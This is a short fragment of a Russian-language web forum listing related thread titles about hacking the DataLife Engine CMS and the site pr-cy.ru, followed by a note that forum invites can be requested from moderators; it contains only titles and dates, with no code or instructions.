Взлом DLE 9.6
DLE 9 25.11.2012 17:05
Вопрос про Взлом DLE
Web программирование 3 03.09.2012 00:20
Взлом pr-cy.ru
Оффтоп и свободные темы 10 30.09.2011 17:24

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры